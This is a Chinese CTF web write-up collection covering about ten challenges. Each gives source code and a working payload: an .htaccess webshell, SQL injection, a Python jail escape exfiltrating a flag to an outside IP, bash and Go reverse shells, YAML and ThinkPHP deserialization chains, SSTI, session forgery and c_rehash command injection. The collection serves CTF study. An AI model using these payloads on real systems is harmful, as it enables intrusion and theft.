目录: 0x01-[羊城杯2020]easyphp 考点:.htaccess的灵活运用 参考:
https://www.cnblogs.com/b1u3s/p/15966800.html
https://blog.csdn.net/weixin_46684578/article/details/119141109
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr ($content ,'on' ) || stristr ($content ,'html' ) || stristr ($content ,'type' ) || stristr ($content ,'flag' ) || stristr ($content ,'upload' ) || stristr ($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($filename , $content . "\nHello, world" ); ?>
payload
1 2 3 php_value auto_prepend_fil\ e .htaccess #<?php @eval($_POST[6]);?>\
1 content=php%5Fvalue%20auto%5Fprepend%5Ffil%5C%0Ae%20%2Ehtaccess%0A%23%3C%3Fphp%20%40eval%28%24%5FPOST%5B6%5D%29%3B%3F%3E%5C&filename=.htaccess
1 6=system('ls;cat /flag;');
0x02-[SWPU2019]Web1 考点:二次注入、无列名注入 https://www.jianshu.com/p/a352261e0ad5 //无列名注入
https://www.cnblogs.com/AikN/p/15725756.html //wp
过滤:空格和 #, –+, and、or
1 -1'/**/group/**/by/**/25,'2
1 -1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1 -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1 -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1 -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
0x03-[AntCTF x D³CTF]Escape Plan 考点:python编码绕过,python特性构造数字 参考:
https://fq6p9pyo5tt.feishu.cn/docx/InUFdQUKdozf8yx5IhGcf5zInSe
https://mp.weixin.qq.com/s?srcid=0501bEUrW8ydbpm175TL5FFn&scene=23&sharer_sharetime=1682949687637&mid=2247486967&sharer_shareid=6eea79ff6da57fc6752ab0bc570bf392&sn=ad55ddd11c6bfa17843270625f5f92fc&idx=1&__biz=Mzg4MjcxMTAwMQ%3D%3D&chksm=cf53cd41f8244457c2db68626c91f2e4564d756b903222f3a913e89f211d475418864c5041bc&mpshare=1#rd
https://blog.carrot2.cn/2023/05/d3ctf2023.html
1 2 3 4 5 6 7 8 Escape Plan The success for a break out depends on three things. - layout: black_char - routine: Python tricks - help: Run /readflag to get flag, dns tunneling may help you 本题目由网商银行命题。 This challenge is offered by MYbank.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import base64from flask import Flask, requestapp = Flask(__name__) @app.route('/' , methods=['GET' , 'POST' ] ) def challenge_3 (): cmd = request.form.get("cmd" , "" ) if not cmd: return """<pre> import requests, base64 exp = '' requests.post("", data={"cmd": base64.b64encode(exp.encode())}).text </pre> """ try : cmd = base64.b64decode(cmd).decode() except Exception: return "bad base64" black_char = [ "'" , '"' , '.' , ',' , ' ' , '+' , '__' , 'exec' , 'eval' , 'str' , 'import' , 'except' , 'if' , 'for' , 'while' , 'pass' , 'with' , 'assert' , 'break' , 'class' , 'raise' , '0' , '1' , '2' , '3' , '4' , '5' , '6' , '7' , '8' , '9' , ] for char in black_char: if char in cmd: return f'failed: `{char} `' msg = "success" try : eval (cmd) except Exception: msg = "error" return msg
1 2 3 4 5 6 7 8 9 10 import requests, base64u = '𝟢𝟣𝟤𝟥𝟦𝟧𝟨𝟩𝟪𝟫' payload = b"""__import__('os').popen("python -c 'import socket, os; flag =os.popen(\\"/readflag\\").read().encode();host = \\"39.105.51.11\\";port=7779; s =socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((host,port));s.sendall(flag);s.close();a=1;'").read()""" payload = str (base64.b64encode(payload)).strip('b' ).strip("'" ) +"=" print (payload)CMD = "ᵉval(vars(ᵉval(list(dict(_a_aiamapaoarata_a_=()))[len([])][::len(list(dict(aa=()))[len([])])])(list(dict(b_i_n_a_s_c_i_i_=()))[len([])][::len(list(dict(aa=()))[len([])])]))[list(dict(a_2_b1_1b_a_s_e_6_4=()))[len([])][::len(list(dict(aa=()))[len([])])]](list(dict({}()))[len([])]))" .format (payload) CMD = CMD.translate({ord (str (i)): u[i] for i in range (10 )}) r = requests.post("http://139.196.153.118:30946/" , data={"cmd" : base64.b64encode(CMD.encode())}).text print (r)
其他的获取数字的方式:
1 2 3 c = -~int(False)-~int(False) # - ~ d = len(list(dict(a=()))) << len(list(dict(a=()))) e = len([[]]) << len([[]])
结语:看着wp简单,自己写真不好写
0x04-[HDCTF 2023]BabyJxVx 考点:Apache Commons SCXML Remote Code Execution 参考:
https://boogipop.com/2023/04/22/HDCTF2023%20Web%E9%A2%98%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/#BabyJXvX
https://www.xaitx.com/1936.html
https://pyn3rd.github.io/2023/02/06/Apache-Commons-SCXML-Remote-Code-Execution/
https://juejin.cn/post/7052882670396637197#heading-11
https://www.yuque.com/boogipop/okvgcs/zzx3n35xsg26ss0e?view=doc_embed
jadx反编译一下
1 com > example.babyjxvx > FlagController > FlagController.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 package com.example.babyjxvx.FlagController;import java.io.IOException;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import javax.xml.parsers.ParserConfigurationException;import org.apache.commons.scxml2.SCXMLExecutor;import org.apache.commons.scxml2.io.SCXMLReader;import org.apache.commons.scxml2.model.SCXML;import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.ResponseBody;import org.w3c.dom.Document;import org.xml.sax.SAXException;@Controller public class Flagcontroller { private static Boolean check (String fileName) throws IOException, ParserConfigurationException, SAXException { DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = dbf.newDocumentBuilder(); Document doc = builder.parse(fileName); int node1 = doc.getElementsByTagName("script" ).getLength(); int node2 = doc.getElementsByTagName("datamodel" ).getLength(); int node3 = doc.getElementsByTagName("invoke" ).getLength(); int node4 = doc.getElementsByTagName("param" ).getLength(); int node5 = doc.getElementsByTagName("parallel" ).getLength(); int node6 = doc.getElementsByTagName("history" ).getLength(); int node7 = doc.getElementsByTagName("transition" ).getLength(); int node8 = doc.getElementsByTagName("state" ).getLength(); int node9 = doc.getElementsByTagName("onentry" ).getLength(); int node10 = doc.getElementsByTagName("if" ).getLength(); int node11 = doc.getElementsByTagName("elseif" ).getLength(); if (node1 > 0 || node2 > 0 || node3 > 0 || node4 > 0 || node5 > 0 || node6 > 0 || node7 > 0 || node8 > 0 || node9 > 0 || node10 > 0 || node11 > 0 ) { return false ; } return true ; } @RequestMapping({"/"}) public String index () { return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE; } @RequestMapping({"/Flag"}) @ResponseBody public String Flag (@RequestParam(required = true) String filename) { SCXMLExecutor executor = new SCXMLExecutor (); try { if (check(filename).booleanValue()) { SCXML scxml = SCXMLReader.read(filename); executor.setStateMachine(scxml); executor.go(); return "Revenge to me!" ; } System.out.println("nonono" ); return "revenge?" ; } catch (Exception var5) { System.out.println(var5); return "revenge?" ; } } }
poc.xml
1 2 3 4 5 6 7 8 <?xml version="1.0" ?> <scxml xmlns ="http://www.w3.org/2005/07/scxml" version ="1.0" initial ="run" > <final id ="run" > <onexit > <assign location ="flag" expr ="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDUuNTEuMTEvNzc3OSAwPiYx}|{base64,-d}|{bash,-i}')" /> </onexit > </final > </scxml >
1 python3 -m http.server 8080
1 http://node4.anna.nssctf.cn:28095/Flag?filename=http://39.105.51.11:8080/poc.xml
结语:当然啦,复现还是比较容易的,具体的一些trick还需要细细研究一下!
0x05-[HDCTF 2023]YamiYami 考点:双重编码绕过waf、session伪造、yaml反序列化 参考:
https://boogipop.com/2023/04/22/HDCTF2023%20Web%E9%A2%98%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95/#BabyJXvX
https://ph0ebus.cn/post/HDCTF2023%20Writeup.html#yamiyami%E5%A4%8D%E7%8E%B0
https://blog.csdn.net/GXcodes/article/details/130328610#3.%20yaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96
非预期:
file伪协议读环境变量
1 http://node2.anna.nssctf.cn:28216/read?url=file:///proc/1/environ
预期解:
1 2 3 file:///app/app.py file:///%61%70%70/%61%70%70.py file:///%2561%2570%2570/%2561%2570%2570.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 import osimport re, random, uuidfrom flask import *from werkzeug.utils import *import yamlfrom urllib.request import urlopenapp = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = False BLACK_LIST=["yaml" ,"YAML" ,"YML" ,"yml" ,"yamiyami" ] app.config['UPLOAD_FOLDER' ]="/app/uploads" @app.route('/' ) def index (): session['passport' ] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd' ) def pwd (): return str (pwdpath) @app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('app.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' def allowed_file (filename ): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: flash('No file part' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/' ): os.makedirs('./uploads/' ) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return "upload successfully!" return render_template("index.html" ) @app.route('/boogipop' ) def load (): if session.get("passport" )=="Welcome To HDCTF2023" : LoadedFile=request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else : return "No Auth bro" if __name__=='__main__' : pwdpath = os.popen("pwd" ).read() app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
1 /read?url=file:///sys/class/net/eth0/address
flask_session_cookie_manager.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key if sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : class FSCM (metaclass=ABCMeta): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e else : class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key==None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e if __name__ == "__main__" : parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder' , epilog="Author : Wilson Sumanang, Alexandre ZANNI" ) subparsers = parser.add_subparsers(help ='sub-command help' , dest='subcommand' ) parser_encode = subparsers.add_parser('encode' , help ='encode' ) parser_encode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=True ) parser_encode.add_argument('-t' , '--cookie-structure' , metavar='<string>' , help ='Session cookie structure' , required=True ) parser_decode = subparsers.add_parser('decode' , help ='decode' ) parser_decode.add_argument('-s' , '--secret-key' , metavar='<string>' , help ='Secret key' , required=False ) parser_decode.add_argument('-c' , '--cookie-value' , metavar='<string>' , help ='Session cookie value' , required=True ) args = parser.parse_args() if (args.subcommand == 'encode' ): if (args.secret_key is not None and args.cookie_structure is not None ): print (FSCM.encode(args.secret_key, args.cookie_structure)) elif (args.subcommand == 'decode' ): if (args.secret_key is not None and args.cookie_value is not None ): print (FSCM.decode(args.cookie_value,args.secret_key)) elif (args.cookie_value is not None ): print (FSCM.decode(args.cookie_value))
1.txt上传即可,
1 2 3 4 5 6 7 8 9 !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" - !!python/object/new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
结语:非预期真简单哇,不过常规解也不太难。
0x06-[CISCN 2022 初赛]online_crt 考点:CVE-2022-1292的c_rehash漏洞、CLRF漏洞 参考:
https://www.ctfer.vip/problem/2348 //题目
https://www.cnblogs.com/yesec/p/16345525.html //wp
https://www.cnblogs.com/0xo0Kerk/p/17204958.html //wp
https://xz.aliyun.com/t/11703#toc-0 /cve
https://syunaht.com/p/1853756331.html#toc-heading-3 //connection: close 启发
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 import datetimeimport jsonimport osimport socketimport uuidfrom cryptography import x509from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import hashes, serializationfrom cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.x509.oid import NameOIDfrom flask import Flaskfrom flask import render_templatefrom flask import requestapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(16 ) def get_crt (Country, Province, City, OrganizationalName, CommonName, EmailAddress ): root_key = rsa.generate_private_key( public_exponent=65537 , key_size=2048 , backend=default_backend() ) subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, Country), x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province), x509.NameAttribute(NameOID.LOCALITY_NAME, City), x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName), x509.NameAttribute(NameOID.COMMON_NAME, CommonName), x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress), ]) root_cert = x509.CertificateBuilder().subject_name( subject ).issuer_name( issuer ).public_key( root_key.public_key() ).serial_number( x509.random_serial_number() ).not_valid_before( datetime.datetime.utcnow() ).not_valid_after( datetime.datetime.utcnow() + datetime.timedelta(days=3650 ) ).sign(root_key, hashes.SHA256(), default_backend()) crt_name = "static/crt/" + str (uuid.uuid4()) + ".crt" with open (crt_name, "wb" ) as f: f.write(root_cert.public_bytes(serialization.Encoding.PEM)) return crt_name @app.route('/' , methods=['GET' , 'POST' ] ) def index (): return render_template("index.html" ) @app.route('/getcrt' , methods=['GET' , 'POST' ] ) def upload (): Country = request.form.get("Country" , "CN" ) Province = request.form.get("Province" , "a" ) City = request.form.get("City" , "a" ) OrganizationalName = request.form.get("OrganizationalName" , "a" ) CommonName = request.form.get("CommonName" , "a" ) EmailAddress = request.form.get("EmailAddress" , "a" ) return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress) @app.route('/createlink' , methods=['GET' ] ) def info (): json_data = {"info" : os.popen("c_rehash static/crt/ && ls static/crt/" ).read()} return json.dumps(json_data) @app.route('/proxy' , methods=['GET' ] ) def proxy (): uri = request.form.get("uri" , "/" ) client = socket.socket() client.connect(('localhost' , 8887 )) msg = f'''GET {uri} HTTP/1.1 Host: test_api_host User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close ''' client.send(msg.encode()) data = client.recv(2048 ) client.close() return data.decode() app.run(host="0.0.0.0" , port=8888 )
main.go
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package mainimport ( "github.com/gin-gonic/gin" "os" "strings" ) func admin (c *gin.Context) { staticPath := "/app/static/crt/" oldname := c.DefaultQuery("oldname" , "" ) newname := c.DefaultQuery("newname" , "" ) if oldname == "" || newname == "" || strings.Contains(oldname, ".." ) || strings.Contains(newname, ".." ) { c.String(500 , "error" ) return } if c.Request.URL.RawPath != "" && c.Request.Host == "admin" { err := os.Rename(staticPath+oldname, staticPath+newname) if err != nil { return } c.String(200 , newname) return } c.String(200 , "no" ) } func index (c *gin.Context) { c.String(200 , "hello world" ) } func main () { router := gin.Default() router.GET("/" , index) router.GET("/admin/rename" , admin) if err := router.Run(":8887" ); err != nil { panic (err) } }
访问getcrt获得证书名称,然后去请求proxy修改证书名称为恶意代码,然后去访问createlink利用c_rehash漏洞,最后访问一下得到flag.txt即可
1 static/crt/c75ecfae-4d94-41ea-9164-3d5956dd9315.crt
注意加上connection: close不然一直失败
1 2 3 4 5 6 7 8 9 import urllib.parseuri = '''/admin%2frename?oldname=c75ecfae-4d94-41ea-9164-3d5956dd9315.crt&newname=`echo%20Y2F0IC8qIA==|base64%20--decode|bash>flag.txt`.crt HTTP/1.1 Host: admin Connection: close ''' gopher = uri.replace("\n" ,"\r\n" ) payload = urllib.parse.quote(gopher) print (payload)
1 2 3 4 Content-Type: application/x-www-form-urlencoded Content-Length: 235 uri=/admin%252frename%3Foldname%3Dc75ecfae-4d94-41ea-9164-3d5956dd9315.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A
得到回显
1 2 3 4 5 6 7 HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Date: Fri, 05 May 2023 03:20:19 GMT Content-Length: 53 Connection: close `echo Y2F0IC8qIA==|base64 --decode|bash>flag.txt`.crt
0x07[愚人杯]web3 easy_ssti 考点:ssti 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from flask import Flask from flask import render_template_string,render_template,send_file app = Flask(__name__) @app.route('/' ) def hello (name=None ): return render_template('hello.html' ,name=name) @app.route('/hello/<name>' ) def hellodear (name ): if "ge" in name: return render_template_string('hello %s' % name) elif "f" not in name: return render_template_string('hello %s' % name) else : return 'Nonononon' @app.route('/app.zip' ) def downloadzip (): path="app.zip" return send_file(path) if __name__ == '__main__' : app.run(host="0.0.0.0" , port=5000 , debug=True )
1 /hello/{{ "" .__class__.__base__ .__subclasses__()[132 ].__init__.__globals__['popen' ](request.args.get("ctfshow" )).read()}}ge?ctfshow=ls;cat app.py
结语:比较简单,就当练练手,熟悉熟悉ssti,给自己放个小假
0x08[愚人杯]easy_flask 考点:session伪造 这个题,session伪造拿到admin权限,然后用任意文件读取漏洞,下载完整源码,根据代码,命令执行。
以下是源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__) app.secret_key = 'S3cr3tK3y' users = { } @app.route('/' ) def index ():if 'loggedin' in session:return redirect(url_for('profile' ))return redirect(url_for('login' ))@app.route('/login/' , methods=['GET' , 'POST' ] ) def login ():msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form:username = request.form['username' ] password = request.form['password' ] if username in users and password == users[username]['password' ]:session['loggedin' ] = True session['username' ] = username session['role' ] = users[username]['role' ] return redirect(url_for('profile' ))else :msg = 'Incorrect username/password!' return render_template('login.html' , msg=msg)@app.route('/register/' , methods=['GET' , 'POST' ] ) def register ():msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form:username = request.form['username' ] password = request.form['password' ] if username in users:msg = 'Account already exists!' else :users[username] = {'password' : password, 'role' : 'user' } msg = 'You have successfully registered!' return render_template('register.html' , msg=msg)@app.route('/profile/' ) def profile ():if 'loggedin' in session:return render_template('profile2.html' , username=session['username' ], role=session['role' ])return redirect(url_for('login' ))
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Login</title > </head > <body > <h1 > Login</h1 > <form method ="POST" action ="/login/" > <label for ="username" > Username:</label > <input type ="text" id ="username" name ="username" required > <label for ="password" > Password:</label > <input type ="password" id ="password" name ="password" required > <button type ="submit" > Login</button > </form > <p > Don't have an account? <a href ="/register/" > Register here</a > </p > </body > </html > <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Register</title > </head > <body > <h1 > Register</h1 > <form method ="POST" action ="/register/" > <label for ="username" > Username:</label > <input type ="text" id ="username" name ="username" required > <label for ="password" > Password:</label > <input type ="password" id ="password" name ="password" required > <button type ="submit" > Register</button > </form > <a href ="/login/" > Back to login</a > </p > </body > </html >
session
1 eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZFZW4w.fxHPkeprmsYwfJxHFy07V_KbAVo
flask_session_cookie_manager3.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import sysimport zlibfrom itsdangerous import base64_decodeimport astif sys.version_info[0 ] < 3 : raise Exception('Must be using at least Python 3' ) elif sys.version_info[0 ] == 3 and sys.version_info[1 ] < 4 : from abc import ABCMeta, abstractmethod else : from abc import ABC, abstractmethod import argparsefrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key class FSCM (ABC ): def encode (secret_key, session_cookie_structure ): """ Encode a Flask session cookie """ try : app = MockApp(secret_key) session_cookie_structure = dict (ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}" .format (e) raise e def decode (session_cookie_value, secret_key=None ): """ Decode a Flask cookie """ try : if (secret_key == None ): compressed = False payload = session_cookie_value if payload.startswith('.' ): compressed = True payload = payload[1 :] data = payload.split("." )[0 ] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}" .format (e) raise e key = 'S3cr3tK3y' res = FSCM.decode('eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZFZW4w.fxHPkeprmsYwfJxHFy07V_KbAVo' , key) print (res)
得到
1 {'loggedin': True, 'role': 'user', 'username': '123'}
修改
1 {'loggedin': True, 'role': 'admin', 'username': '123'}
1 eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiIxMjMifQ.ZFZbFA.2xidlV7BKwpFK8rD-FsfCAd5JHQ
得到完整代码
1 download/?filename=app.py
1 2 3 4 5 6 7 8 9 10 11 @app.route('/hello/' ) def hello_world (): try : s = request.args.get('eval' ) return f"hello,{eval (s)} " except Exception as e: print (e) pass return "hello"
1 /hello/?eval=__import__('os').popen('ls;cd /;ls;cat /flag_is_h3re;').read()
结语:也比较简单,就当练练手,给自己放个小假
0x09-[NSSRound#8 Basic]Upload_gogoggo 考点:go反弹shell 文件上传逻辑为go filename file
例如:go run /app/upload/run.go就可以执行这个文件
1 2 3 4 5 6 7 8 9 10 package mainimport ( "fmt" "os/exec" ) func main () { fmt.Println("hello" ) cmd := exec.Command("bash" , "-c" , "bash -i >& /dev/tcp/39.105.51.11/7779 0>&1" ) cmd.CombinedOutput() }
/flaaaag
/home/galf
1 RnsxYmJkZDJmZS1lMzAwLTRhOTgtYjljYy01NjhmZmI4NTQxYmZ9Cg==
final
1 TlNTQ1QKRnsxYmJkZDJmZS1lMzAwLTRhOTgtYjljYy01NjhmZmI4NTQxYmZ9Cg==
1 NSSCTF{1bbdd2fe-e300-4a98-b9cc-568ffb8541bf}
结语:熟悉熟悉go,不太难
0x10-[CISCN 2022 初赛]ezpop 考点:ThinkPHP V6.0.12LTS 反序列化漏洞 参考:
https://tlmssfs-x.github.io/2020/11/09/23849/ //thinkphp5 反序列化 利用链分析
https://blog.csdn.net/weixin_50289181/article/details/125139737 // ThinkPHP V6.0.12LTS 反序列化漏洞 利用链分析
https://haoami.github.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/#Ezpop //payload
/Index/test
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php namespace think { abstract class Model { private $lazySave = false ; private $data = []; private $exists = false ; protected $table ; private $withAttr = []; protected $json = []; protected $jsonAssoc = false ; function __construct ($obj = '' ) { $this ->lazySave = True; $this ->data = ['whoami' => ['ls;' ]]; $this ->exists = True; $this ->table = $obj ; $this ->withAttr = ['whoami' => ['system' ]]; $this ->json = ['whoami' ,['whoami' ]]; $this ->jsonAssoc = True; } } } namespace think \model { use think \Model ; class Pivot extends Model { } } namespace { echo (urlencode (serialize (new think \model \Pivot (new think \model \Pivot ())))); }
ls
